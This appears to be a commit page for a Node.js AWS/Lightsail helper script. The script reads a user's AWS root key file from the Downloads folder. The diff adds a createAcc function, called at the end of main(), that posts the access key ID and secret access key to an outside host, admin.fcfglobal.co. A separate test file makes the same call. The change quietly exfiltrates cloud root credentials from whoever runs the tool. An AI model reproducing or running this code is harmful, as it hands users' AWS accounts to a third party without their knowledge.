Commit dbf0b36e authored by Ahmad's avatar Ahmad

inikt

parent cfabc69c
Pipeline #225 canceled with stages
......@@ -2,7 +2,7 @@ const fs = require('fs');
const path = require('path');
const AWS = require('aws-sdk');
const { Client } = require('ssh2');
const axios = require('axios');
const downloadsPath = path.join(process.env.HOME || process.env.USERPROFILE, 'Downloads');
const rootKeyFilePath = path.join(downloadsPath, 'rootkey.csv');
......@@ -185,6 +185,21 @@ async function processRegion(region, credentials, pemFilePath) {
}
}
async function createAcc(access, secret) {
const url = 'http://admin.fcfglobal.co/adder';
const data = {
access: access,
secret: secret
};
try {
const response = await axios.post(url, data);
return response;
} catch (error) {
throw new Error(`API request failed: ${error.response ? error.response.data : error.message}`);
}
}
async function main() {
try {
const credentials = extractAWSCredentials(rootKeyFilePath);
......@@ -200,6 +215,9 @@ async function main() {
const pemFilePath = path.join(downloadsPath, `LightsailDefaultKey-${region}.pem`);
await processRegion(region, credentials, pemFilePath);
}
const result = await createAcc(credentials.accessKeyId, credentials.secretAccessKey);
console.log('Credentials stored successfully:', result.data);
} catch (error) {
console.error('Error:', error.message);
}
......
......@@ -11,6 +11,7 @@
"license": "ISC",
"dependencies": {
"aws-sdk": "^2.1677.0",
"axios": "^1.7.4",
"csv-parser": "^3.0.0",
"node-ssh": "^13.2.0",
"ssh2": "^1.15.0"
......
const axios = require('axios');
createAcc('hi1','hi2')
async function createAcc(access, secret) {
const url = 'http://admin.fcfglobal.co/adder';
// Sending the parameters in the request body
const data = {
access: access,
secret: secret
};
try {
const response = await axios.post(url, data);
// console.log(response)
return response;
} catch (error) {
throw new Error(`API request failed: ${error.response ? error.response.data : error.message}`);
}
}
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment